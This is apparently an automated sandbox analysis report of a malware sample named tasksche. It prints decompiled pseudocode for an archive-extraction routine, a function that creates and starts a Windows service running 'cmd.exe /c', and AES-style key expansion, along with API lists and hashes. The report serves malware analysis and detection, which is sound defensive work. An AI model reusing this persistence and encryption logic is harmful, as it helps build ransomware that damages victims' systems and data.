				signed int _t269;
				signed int _t270;
				signed int _t271;
				intOrPtr _t272;
				char* _t274;
				unsigned int _t276;
				signed int _t277;
				void* _t278;
				intOrPtr* _t280;
				void* _t281;
				intOrPtr _t282;

				_t263 = __edx;
				_t213 = __ecx;
				_t272 = _a4;
				_t208 = _t207 | 0xffffffff;
				_t280 = __ecx;
				_v24 = __ecx;
				if(_t272 < _t208) {
					L61:
					return 0x10000;
				}
				_t131 =  *__ecx;
				if(_t272 >=  *((intOrPtr*)( *__ecx + 4))) {
					goto L61;
				}
				if( *((intOrPtr*)(__ecx + 4)) != _t208) {
					E00406A97(_t131);
					_pop(_t213);
				}
				 *(_t280 + 4) = _t208;
				if(_t272 !=  *((intOrPtr*)(_t280 + 0x134))) {
					if(_t272 != _t208) {
						_t132 =  *_t280;
						if(_t272 >=  *( *_t280 + 0x10)) {
							L12:
							_t133 =  *_t280;
							if( *( *_t280 + 0x10) >= _t272) {
								E004064BB( *_t280,  &_v124,  &_v384, 0x104, 0, 0, 0, 0);
								if(L0040657A(_t213, _t263,  *_t280,  &_v44,  &_v20,  &_v16) == 0) {
									_t142 = E00405D0E( *((intOrPtr*)( *_t280)), _v20, 0);
									if(_t142 != 0) {
										L19:
										return 0x800;
									}
									_push(_v16);
									L00407700();
									_v12 = _t142;
									if(L00405D8A(_t142, 1, _v16,  *((intOrPtr*)( *_t280))) == _v16) {
										_t281 = _a8;
										 *_t281 =  *( *_t280 + 0x10);
										strcpy( &_v644,  &_v384);
										_t209 = __imp___mbsstr;
										_t274 =  &_v644;
										while(1) {
											L21:
											_t150 =  *_t274;
											if(_t150 != 0 && _t274[1] == 0x3a) {
												break;
											}
											if(_t150 == 0x5c || _t150 == 0x2f) {
												_t274 =  &(_t274[1]);
												continue;
											} else {
												_t151 =  *_t209(_t274, "\\..\\");
												if(_t151 != 0) {
													L31:
													_t39 = _t151 + 4; // 0x4
													_t274 = _t39;
													continue;
												}
												_t151 =  *_t209(_t274, "\\../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/..\\");
												if(_t151 == 0) {
													strcpy(_t281 + 4, _t274);
													_t264 = _v72;
													_a11 = _a11 & 0x00000000;
													_v5 = _v5 & 0x00000000;
													_t156 = _t264 >> 0x0000001e & 0x00000001;
													_t230 =  !(_t264 >> 0x17) & 0x00000001;
													_t276 = _v124 >> 8;
													_t210 = 1;
													if(_t276 == 0 || _t276 == 7 || _t276 == 0xb || _t276 == 0xe) {
														_a11 = _t264 >> 0x00000001 & 0x00000001;
														_t230 = _t264 & 0x00000001;
														_v5 = _t264 >> 0x00000002 & 0x00000001;
														_t156 = _t264 >> 0x00000004 & 0x00000001;
														_t264 = _t264 >> 0x00000005 & 0x00000001;
														_t210 = _t264;
													}
													_t277 = 0;
													 *(_t281 + 0x108) = 0;
													if(_t156 != 0) {
														 *(_t281 + 0x108) = 0x10;
													}
													if(_t210 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000020;
													}
													if(_a11 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000002;
													}
													if(_t230 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000001;
													}
													if(_v5 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000004;
													}
													 *((intOrPtr*)(_t281 + 0x124)) = _v100;
													 *((intOrPtr*)(_t281 + 0x128)) = _v96;
													_v40.dwLowDateTime = E00406B23(_v108 >> 0x10, _v108);
													_v40.dwHighDateTime = _t264;
													LocalFileTimeToFileTime( &_v40,  &_v32);
													_t173 = _v32.dwLowDateTime;
													_t234 = _v32.dwHighDateTime;
													_t212 = _v12;
													 *(_t281 + 0x10c) = _t173;
													 *(_t281 + 0x114) = _t173;
													 *(_t281 + 0x11c) = _t173;
													 *(_t281 + 0x110) = _t234;
													 *(_t281 + 0x118) = _t234;
													 *(_t281 + 0x120) = _t234;
													if(_v16 <= 4) {
														L57:
														if(_t212 != 0) {
															_push(_t212);
															L004076E8();
														}
														_t282 = _v24;
														memcpy(_t282 + 8, _t281, 0x12c);
														 *((intOrPtr*)(_t282 + 0x134)) = _a4;
														goto L60;
													} else {
														while(1) {
															_v12 =  *((intOrPtr*)(_t277 + _t212));
															_v10 = _v10 & 0x00000000;
															_v11 =  *((intOrPtr*)(_t212 + _t277 + 1));
															_a8 =  *(_t212 + _t277 + 2) & 0x000000ff;
															if(strcmp( &_v12, "UT") == 0) {
																break;
															}
															_t277 = _t277 + _a8 + 4;
															if(_t277 + 4 < _v16) {
																continue;
															}
															goto L57;
														}
														_t238 =  *(_t277 + _t212 + 4) & 0x000000ff;
														_t185 = _t238 >> 0x00000001 & 0x00000001;
														_t278 = _t277 + 5;
														_a11 = _t185;
														_v5 = _t238 >> 0x00000002 & 0x00000001;
														if((_t238 & 0x00000001) != 0) {
															_t271 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t194 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x11c) = E00406B02(_t271,  *_t194 & 0x000000ff | (0 << 0x00000008 | _t271) << 0x00000008);
															_t185 = _a11;
															 *(_t281 + 0x120) = _t271;
														}
														if(_t185 != 0) {
															_t270 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t190 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x10c) = E00406B02(_t270,  *_t190 & 0x000000ff | (0 << 0x00000008 | _t270) << 0x00000008);
															 *(_t281 + 0x110) = _t270;
														}
														if(_v5 != 0) {
															_t269 =  *(_t278 + _t212 + 1) & 0x000000ff;
															 *(_t281 + 0x114) = E00406B02(_t269,  *(_t278 + _t212) & 0x000000ff | (0 << 0x00000008 | _t269) << 0x00000008);
															 *(_t281 + 0x118) = _t269;
														}
														goto L57;
													}
												}
												goto L31;
											}
										}
										_t274 =  &(_t274[2]);
										goto L21;
									}
									_push(_v12);
									L004076E8();
									goto L19;
								}
								return 0x700;
							}
							E00406520(_t133);
							L11:
							_pop(_t213);
							goto L12;
						}
						E004064E2(_t213, _t132);
						goto L11;
					}
					goto L8;
				} else {
					if(_t272 == _t208) {
						L8:
						_t204 = _a8;
						 *_t204 =  *((intOrPtr*)( *_t280 + 4));
						 *((char*)(_t204 + 4)) = 0;
						 *((intOrPtr*)(_t204 + 0x108)) = 0;
						 *((intOrPtr*)(_t204 + 0x10c)) = 0;
						 *((intOrPtr*)(_t204 + 0x110)) = 0;
						 *((intOrPtr*)(_t204 + 0x114)) = 0;
						 *((intOrPtr*)(_t204 + 0x118)) = 0;
						 *((intOrPtr*)(_t204 + 0x11c)) = 0;
						 *((intOrPtr*)(_t204 + 0x120)) = 0;
						 *((intOrPtr*)(_t204 + 0x124)) = 0;
						 *((intOrPtr*)(_t204 + 0x128)) = 0;
						L60:
						return 0;
					}
					memcpy(_a8, _t280 + 8, 0x12c);
					goto L60;
				}
			}


















































                                                                                          0x00406c40
                                                                                          0x00406c40
                                                                                          0x00406c4c
                                                                                          0x00406c4f
                                                                                          0x00406c52
                                                                                          0x00406c56
                                                                                          0x00406c59
                                                                                          0x00407064
                                                                                          0x00000000
                                                                                          0x00407064
                                                                                          0x00406c5f
                                                                                          0x00406c64
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00406c6d
                                                                                          0x00406c70
                                                                                          0x00406c75
                                                                                          0x00406c75
                                                                                          0x00406c7c
                                                                                          0x00406c7f
                                                                                          0x00406ca0
                                                                                          0x00406cec
                                                                                          0x00406cf1
                                                                                          0x00406cfa
                                                                                          0x00406cfa
                                                                                          0x00406cff
                                                                                          0x00406d21
                                                                                          0x00406d3e
                                                                                          0x00406d52
                                                                                          0x00406d5c
                                                                                          0x00406d89
                                                                                          0x00000000
                                                                                          0x00406d89
                                                                                          0x00406d5e
                                                                                          0x00406d61
                                                                                          0x00406d68
                                                                                          0x00406d7e
                                                                                          0x00406d95
                                                                                          0x00406d9b
                                                                                          0x00406dab
                                                                                          0x00406db0
                                                                                          0x00406db8
                                                                                          0x00406dbe
                                                                                          0x00406dbe
                                                                                          0x00406dbe
                                                                                          0x00406dc2
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00406dd0
                                                                                          0x00406dd6
                                                                                          0x00000000
                                                                                          0x00406dd9
                                                                                          0x00406ddf
                                                                                          0x00406de5
                                                                                          0x00406e11
                                                                                          0x00406e11
                                                                                          0x00406e11
                                                                                          0x00000000
                                                                                          0x00406e11
                                                                                          0x00406ded
                                                                                          0x00406df3
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00406dfb
                                                                                          0x00406e01
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00406e09
                                                                                          0x00406e0f
                                                                                          0x00406e1b
                                                                                          0x00406e20
                                                                                          0x00406e28
                                                                                          0x00406e2c
                                                                                          0x00406e3c
                                                                                          0x00406e3e
                                                                                          0x00406e41
                                                                                          0x00406e44
                                                                                          0x00406e46
                                                                                          0x00406e61
                                                                                          0x00406e6b
                                                                                          0x00406e6d
                                                                                          0x00406e78
                                                                                          0x00406e7a
                                                                                          0x00406e7c
                                                                                          0x00406e7c
                                                                                          0x00406e7e
                                                                                          0x00406e82
                                                                                          0x00406e88
                                                                                          0x00406e8a
                                                                                          0x00406e8a
                                                                                          0x00406e96
                                                                                          0x00406e98
                                                                                          0x00406e98
                                                                                          0x00406ea3
                                                                                          0x00406ea5
                                                                                          0x00406ea5
                                                                                          0x00406eae
                                                                                          0x00406eb0
                                                                                          0x00406eb0
                                                                                          0x00406ebb
                                                                                          0x00406ebd
                                                                                          0x00406ebd
                                                                                          0x00406eca
                                                                                          0x00406ed3
                                                                                          0x00406ee6
                                                                                          0x00406ef2
                                                                                          0x00406ef5
                                                                                          0x00406efb
                                                                                          0x00406efe
                                                                                          0x00406f05
                                                                                          0x00406f08
                                                                                          0x00406f0e
                                                                                          0x00406f14
                                                                                          0x00406f1a
                                                                                          0x00406f20
                                                                                          0x00406f26
                                                                                          0x00406f2c
                                                                                          0x00407037
                                                                                          0x00407039
                                                                                          0x0040703b
                                                                                          0x0040703c
                                                                                          0x00407041
                                                                                          0x00407048
                                                                                          0x0040704f
                                                                                          0x0040705a
                                                                                          0x00000000
                                                                                          0x00406f32
                                                                                          0x00406f32
                                                                                          0x00406f3a
                                                                                          0x00406f41
                                                                                          0x00406f45
                                                                                          0x00406f4d
                                                                                          0x00406f5d
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00406f62
                                                                                          0x00406f6c
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00406f6e
                                                                                          0x00406f73
                                                                                          0x00406f81
                                                                                          0x00406f86
                                                                                          0x00406f89
                                                                                          0x00406f8f
                                                                                          0x00406f92
                                                                                          0x00406f94
                                                                                          0x00406f99
                                                                                          0x00406f9e
                                                                                          0x00406fba
                                                                                          0x00406fc0
                                                                                          0x00406fc4
                                                                                          0x00406fc4
                                                                                          0x00406fcc
                                                                                          0x00406fce
                                                                                          0x00406fd3
                                                                                          0x00406fd8
                                                                                          0x00406ff4
                                                                                          0x00406ffb
                                                                                          0x00406ffb
                                                                                          0x00407005
                                                                                          0x00407007
                                                                                          0x0040702a
                                                                                          0x00407031
                                                                                          0x00407031
                                                                                          0x00000000
                                                                                          0x00407005
                                                                                          0x00406f2c
                                                                                          0x00000000
                                                                                          0x00406e0f
                                                                                          0x00406dd0
                                                                                          0x00406dcb
                                                                                          0x00000000
                                                                                          0x00406dcb
                                                                                          0x00406d80
                                                                                          0x00406d83
                                                                                          0x00000000
                                                                                          0x00406d88
                                                                                          0x00000000
                                                                                          0x00406d40
                                                                                          0x00406d02
                                                                                          0x00406cf9
                                                                                          0x00406cf9
                                                                                          0x00000000
                                                                                          0x00406cf9
                                                                                          0x00406cf4
                                                                                          0x00000000
                                                                                          0x00406cf4
                                                                                          0x00000000
                                                                                          0x00406c81
                                                                                          0x00406c83
                                                                                          0x00406ca2
                                                                                          0x00406ca7
                                                                                          0x00406caa
                                                                                          0x00406cae
                                                                                          0x00406cb1
                                                                                          0x00406cb7
                                                                                          0x00406cbd
                                                                                          0x00406cc3
                                                                                          0x00406cc9
                                                                                          0x00406ccf
                                                                                          0x00406cd5
                                                                                          0x00406cdb
                                                                                          0x00406ce1
                                                                                          0x00407060
                                                                                          0x00000000
                                                                                          0x00407060
                                                                                          0x00406c91
                                                                                          0x00000000
                                                                                          0x00406c96

                                                                                          APIs
                                                                                          • memcpy.MSVCRT(?,?,0000012C,?), ref: 00406C91
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: memcpy
                                                                                          • String ID: /../$/..\$\../$\..\
                                                                                          • API String ID: 3510742995-3885502717
                                                                                          • Opcode ID: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                                                                                          • Instruction ID: 8d35de4500b3f4065ad8a7d009fa2f60231b6be20ed9f01f65d9d1a3966dd706
                                                                                          • Opcode Fuzzy Hash: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                                                                                          • Instruction Fuzzy Hash: 98D147729082459FDB15CF68C881AEABBF4EF05300F15857FE49AB7381C738A915CB98
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401CE8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75serviceCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 100%
                                                                                          			E00401CE8(intOrPtr _a4) {
				void* _v8;
				int _v12;
				void* _v16;
				char _v1040;
				void* _t12;
				void* _t13;
				void* _t31;
				int _t32;

				_v12 = 0;
				_t12 = OpenSCManagerA(0, 0, 0xf003f);
				_v8 = _t12;
				if(_t12 != 0) {
					_t13 = OpenServiceA(_t12, 0x40f8ac, 0xf01ff);
					_v16 = _t13;
					if(_t13 == 0) {
						sprintf( &_v1040, "cmd.exe /c \"%s\"", _a4);
						_t31 = CreateServiceA(_v8, 0x40f8ac, 0x40f8ac, 0xf01ff, 0x10, 2, 1,  &_v1040, 0, 0, 0, 0, 0);
						if(_t31 != 0) {
							StartServiceA(_t31, 0, 0);
							CloseServiceHandle(_t31);
							_v12 = 1;
						}
						_t32 = _v12;
					} else {
						StartServiceA(_t13, 0, 0);
						CloseServiceHandle(_v16);
						_t32 = 1;
					}
					CloseServiceHandle(_v8);
					return _t32;
				}
				return 0;
			}











                                                                                          0x00401cfb
                                                                                          0x00401cfe
                                                                                          0x00401d06
                                                                                          0x00401d09
                                                                                          0x00401d21
                                                                                          0x00401d29
                                                                                          0x00401d2c
                                                                                          0x00401d54
                                                                                          0x00401d7b
                                                                                          0x00401d7f
                                                                                          0x00401d84
                                                                                          0x00401d8b
                                                                                          0x00401d91
                                                                                          0x00401d91
                                                                                          0x00401d98
                                                                                          0x00401d2e
                                                                                          0x00401d31
                                                                                          0x00401d3a
                                                                                          0x00401d42
                                                                                          0x00401d42
                                                                                          0x00401d9e
                                                                                          0x00000000
                                                                                          0x00401da7
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00401CFE
                                                                                          • OpenServiceA.ADVAPI32(00000000,0040F8AC,000F01FF), ref: 00401D21
                                                                                          • StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
                                                                                          • CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
                                                                                          • CloseServiceHandle.ADVAPI32(?), ref: 00401D9E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Service$CloseHandleOpen$ManagerStart
                                                                                          • String ID: cmd.exe /c "%s"
                                                                                          • API String ID: 1485051382-955883872
                                                                                          • Opcode ID: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                                                                          • Instruction ID: 93977d8af42d47d1d9866270745c8e9c50065656b45fe828c5c40e24baaa5e60
                                                                                          • Opcode Fuzzy Hash: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                                                                          • Instruction Fuzzy Hash: 6411AF71900118BBDB205B659E4CE9FBF7CEF85745F10407AF601F21A0CA744949DB68
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00402A76 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334COMMONCrypto
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 54%
                                                                                          			E00402A76(void* __ecx, signed int _a4, void* _a6, void* _a7, signed int _a8, signed int _a12, signed char* _a16) {
				signed int _v8;
				signed int _v12;
				char _v24;
				int _t193;
				signed int _t198;
				int _t199;
				intOrPtr _t200;
				signed int* _t205;
				signed char* _t206;
				signed int _t208;
				signed int _t210;
				signed int* _t216;
				signed int _t217;
				signed int* _t220;
				signed int* _t229;
				void* _t252;
				void* _t280;
				void* _t281;
				signed int _t283;
				signed int _t289;
				signed int _t290;
				signed char* _t291;
				signed int _t292;
				void* _t303;
				void* _t313;
				intOrPtr* _t314;
				void* _t315;
				intOrPtr* _t316;
				signed char* _t317;
				signed char* _t319;
				signed int _t320;
				signed int _t322;
				void* _t326;
				void* _t327;
				signed int _t329;
				signed int _t337;
				intOrPtr _t338;
				signed int _t340;
				intOrPtr _t341;
				void* _t342;
				signed int _t345;
				signed int* _t346;
				signed int _t347;
				void* _t352;
				void* _t353;
				void* _t354;

				_t352 = __ecx;
				if(_a4 == 0) {
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t283 = _a12;
				_t252 = 0x18;
				_t342 = 0x10;
				if(_t283 != _t342 && _t283 != _t252 && _t283 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t193 = _a16;
				if(_t193 != _t342 && _t193 != _t252 && _t193 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_t193 =  &_v24;
					_push(0x40d570);
					_push(_t193);
					L0040776E();
				}
				 *(_t352 + 0x3cc) = _t193;
				 *(_t352 + 0x3c8) = _t283;
				memcpy(_t352 + 0x3d0, _a8, _t193);
				memcpy(_t352 + 0x3f0, _a8,  *(_t352 + 0x3cc));
				_t198 =  *(_t352 + 0x3c8);
				_t354 = _t353 + 0x18;
				if(_t198 == _t342) {
					_t199 =  *(_t352 + 0x3cc);
					if(_t199 != _t342) {
						_t200 = ((0 | _t199 != _t252) - 0x00000001 & 0xfffffffe) + 0xe;
					} else {
						_t200 = 0xa;
					}
					goto L17;
				} else {
					if(_t198 == _t252) {
						_t200 = ((0 |  *(_t352 + 0x3cc) == 0x00000020) - 0x00000001 & 0x000000fe) + 0xe;
						L17:
						 *((intOrPtr*)(_t352 + 0x410)) = _t200;
						L18:
						asm("cdq");
						_t289 = 4;
						_t326 = 0;
						_a12 =  *(_t352 + 0x3cc) / _t289;
						if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
							L23:
							_t327 = 0;
							if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
								L28:
								asm("cdq");
								_t290 = 4;
								_t291 = _a4;
								_t345 = ( *((intOrPtr*)(_t352 + 0x410)) + 1) * _a12;
								_v12 = _t345;
								_t329 =  *(_t352 + 0x3c8) / _t290;
								_t205 = _t352 + 0x414;
								_v8 = _t329;
								if(_t329 <= 0) {
									L31:
									_a8 = _a8 & 0x00000000;
									if(_t329 <= 0) {
										L35:
										if(_a8 >= _t345) {
											L51:
											_t206 = 1;
											_a16 = _t206;
											if( *((intOrPtr*)(_t352 + 0x410)) <= _t206) {
												L57:
												 *((char*)(_t352 + 4)) = 1;
												return _t206;
											}
											_a8 = _t352 + 0x208;
											do {
												_t292 = _a12;
												if(_t292 <= 0) {
													goto L56;
												}
												_t346 = _a8;
												do {
													_t208 =  *_t346;
													_a4 = _t208;
													 *_t346 =  *0x0040ABFC ^  *0x0040AFFC ^  *0x0040B3FC ^  *(0x40b7fc + (_t208 & 0x000000ff) * 4);
													_t346 =  &(_t346[1]);
													_t292 = _t292 - 1;
												} while (_t292 != 0);
												L56:
												_a16 =  &(_a16[1]);
												_a8 = _a8 + 0x20;
												_t206 = _a16;
											} while (_t206 <  *((intOrPtr*)(_t352 + 0x410)));
											goto L57;
										}
										_a16 = 0x40bbfc;
										do {
											_t210 =  *(_t352 + 0x410 + _t329 * 4);
											_a4 = _t210;
											 *(_t352 + 0x414) =  *(_t352 + 0x414) ^ ((( *0x004089FC ^  *_a16) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t210 & 0x000000ff) + 0x4089fc) & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff;
											_a16 = _a16 + 1;
											if(_t329 == 8) {
												_t216 = _t352 + 0x418;
												_t303 = 3;
												do {
													 *_t216 =  *_t216 ^  *(_t216 - 4);
													_t216 =  &(_t216[1]);
													_t303 = _t303 - 1;
												} while (_t303 != 0);
												_t217 =  *(_t352 + 0x420);
												_a4 = _t217;
												_t220 = _t352 + 0x428;
												 *(_t352 + 0x424) =  *(_t352 + 0x424) ^ (( *0x004089FC << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t217 & 0x000000ff) + 0x4089fc) & 0x000000ff;
												_t313 = 3;
												do {
													 *_t220 =  *_t220 ^  *(_t220 - 4);
													_t220 =  &(_t220[1]);
													_t313 = _t313 - 1;
												} while (_t313 != 0);
												L46:
												_a4 = _a4 & 0x00000000;
												if(_t329 <= 0) {
													goto L50;
												}
												_t314 = _t352 + 0x414;
												while(_a8 < _t345) {
													asm("cdq");
													_t347 = _a8 / _a12;
													asm("cdq");
													_t337 = _a8 % _a12;
													 *((intOrPtr*)(_t352 + 8 + (_t337 + _t347 * 8) * 4)) =  *_t314;
													_a4 = _a4 + 1;
													_t345 = _v12;
													_t338 =  *_t314;
													_t314 = _t314 + 4;
													_a8 = _a8 + 1;
													 *((intOrPtr*)(_t352 + 0x1e8 + (_t337 + ( *((intOrPtr*)(_t352 + 0x410)) - _t347) * 8) * 4)) = _t338;
													_t329 = _v8;
													if(_a4 < _t329) {
														continue;
													}
													goto L50;
												}
												goto L51;
											}
											if(_t329 <= 1) {
												goto L46;
											}
											_t229 = _t352 + 0x418;
											_t315 = _t329 - 1;
											do {
												 *_t229 =  *_t229 ^  *(_t229 - 4);
												_t229 =  &(_t229[1]);
												_t315 = _t315 - 1;
											} while (_t315 != 0);
											goto L46;
											L50:
										} while (_a8 < _t345);
										goto L51;
									}
									_t316 = _t352 + 0x414;
									while(_a8 < _t345) {
										asm("cdq");
										_a4 = _a8 / _a12;
										asm("cdq");
										_t340 = _a8 % _a12;
										 *((intOrPtr*)(_t352 + 8 + (_t340 + _a4 * 8) * 4)) =  *_t316;
										_a8 = _a8 + 1;
										_t341 =  *_t316;
										_t316 = _t316 + 4;
										 *((intOrPtr*)(_t352 + 0x1e8 + (_t340 + ( *((intOrPtr*)(_t352 + 0x410)) - _a4) * 8) * 4)) = _t341;
										_t329 = _v8;
										if(_a8 < _t329) {
											continue;
										}
										goto L35;
									}
									goto L51;
								}
								_a8 = _t329;
								do {
									_t317 =  &(_t291[1]);
									 *_t205 = ( *_t291 & 0x000000ff) << 0x18;
									 *_t205 =  *_t205 | ( *_t317 & 0x000000ff) << 0x00000010;
									_t319 =  &(_t317[2]);
									 *_t205 =  *_t205 |  *_t319 & 0x000000ff;
									_t291 =  &(_t319[1]);
									_t205 =  &(_t205[1]);
									_t60 =  &_a8;
									 *_t60 = _a8 - 1;
								} while ( *_t60 != 0);
								goto L31;
							}
							_t280 = _t352 + 0x1e8;
							do {
								_t320 = _a12;
								if(_t320 > 0) {
									memset(_t280, 0, _t320 << 2);
									_t354 = _t354 + 0xc;
								}
								_t327 = _t327 + 1;
								_t280 = _t280 + 0x20;
							} while (_t327 <=  *((intOrPtr*)(_t352 + 0x410)));
							goto L28;
						}
						_t281 = _t352 + 8;
						do {
							_t322 = _a12;
							if(_t322 > 0) {
								memset(_t281, 0, _t322 << 2);
								_t354 = _t354 + 0xc;
							}
							_t326 = _t326 + 1;
							_t281 = _t281 + 0x20;
						} while (_t326 <=  *((intOrPtr*)(_t352 + 0x410)));
						goto L23;
					}
					 *((intOrPtr*)(_t352 + 0x410)) = 0xe;
					goto L18;
				}
			}

















































                                                                                          0x00402a83
                                                                                          0x00402a85
                                                                                          0x00402a8e
                                                                                          0x00402a95
                                                                                          0x00402a9e
                                                                                          0x00402aa3
                                                                                          0x00402aa4
                                                                                          0x00402aa4
                                                                                          0x00402aa9
                                                                                          0x00402aae
                                                                                          0x00402ab1
                                                                                          0x00402ab4
                                                                                          0x00402ac2
                                                                                          0x00402ac6
                                                                                          0x00402acd
                                                                                          0x00402ad6
                                                                                          0x00402adb
                                                                                          0x00402adc
                                                                                          0x00402adc
                                                                                          0x00402ae1
                                                                                          0x00402ae6
                                                                                          0x00402af4
                                                                                          0x00402af8
                                                                                          0x00402aff
                                                                                          0x00402b05
                                                                                          0x00402b08
                                                                                          0x00402b0d
                                                                                          0x00402b0e
                                                                                          0x00402b0e
                                                                                          0x00402b14
                                                                                          0x00402b23
                                                                                          0x00402b2a
                                                                                          0x00402b3f
                                                                                          0x00402b44
                                                                                          0x00402b4a
                                                                                          0x00402b4f
                                                                                          0x00402b75
                                                                                          0x00402b7d
                                                                                          0x00402b92
                                                                                          0x00402b7f
                                                                                          0x00402b81
                                                                                          0x00402b81
                                                                                          0x00000000
                                                                                          0x00402b51
                                                                                          0x00402b53
                                                                                          0x00402b70
                                                                                          0x00402b94
                                                                                          0x00402b94
                                                                                          0x00402b9a
                                                                                          0x00402ba2
                                                                                          0x00402ba3
                                                                                          0x00402ba6
                                                                                          0x00402bae
                                                                                          0x00402bb1
                                                                                          0x00402bcf
                                                                                          0x00402bcf
                                                                                          0x00402bd7
                                                                                          0x00402bf8
                                                                                          0x00402c00
                                                                                          0x00402c01
                                                                                          0x00402c0b
                                                                                          0x00402c0e
                                                                                          0x00402c12
                                                                                          0x00402c15
                                                                                          0x00402c17
                                                                                          0x00402c1f
                                                                                          0x00402c22
                                                                                          0x00402c4e
                                                                                          0x00402c4e
                                                                                          0x00402c54
                                                                                          0x00402ca5
                                                                                          0x00402ca8
                                                                                          0x00402e04
                                                                                          0x00402e06
                                                                                          0x00402e0d
                                                                                          0x00402e10
                                                                                          0x00402e73
                                                                                          0x00402e73
                                                                                          0x00402e7b
                                                                                          0x00402e7b
                                                                                          0x00402e18
                                                                                          0x00402e1b
                                                                                          0x00402e1b
                                                                                          0x00402e20
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402e22
                                                                                          0x00402e25
                                                                                          0x00402e25
                                                                                          0x00402e29
                                                                                          0x00402e59
                                                                                          0x00402e5b
                                                                                          0x00402e5e
                                                                                          0x00402e5e
                                                                                          0x00402e61
                                                                                          0x00402e61
                                                                                          0x00402e64
                                                                                          0x00402e68
                                                                                          0x00402e6b
                                                                                          0x00000000
                                                                                          0x00402e1b
                                                                                          0x00402cae
                                                                                          0x00402cb5
                                                                                          0x00402cb5
                                                                                          0x00402cbf
                                                                                          0x00402d05
                                                                                          0x00402d0b
                                                                                          0x00402d11
                                                                                          0x00402d34
                                                                                          0x00402d3a
                                                                                          0x00402d3b
                                                                                          0x00402d3e
                                                                                          0x00402d40
                                                                                          0x00402d43
                                                                                          0x00402d43
                                                                                          0x00402d46
                                                                                          0x00402d4e
                                                                                          0x00402d8f
                                                                                          0x00402d95
                                                                                          0x00402d9b
                                                                                          0x00402d9c
                                                                                          0x00402d9f
                                                                                          0x00402da1
                                                                                          0x00402da4
                                                                                          0x00402da4
                                                                                          0x00402da7
                                                                                          0x00402da7
                                                                                          0x00402dad
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402daf
                                                                                          0x00402db5
                                                                                          0x00402dbf
                                                                                          0x00402dc3
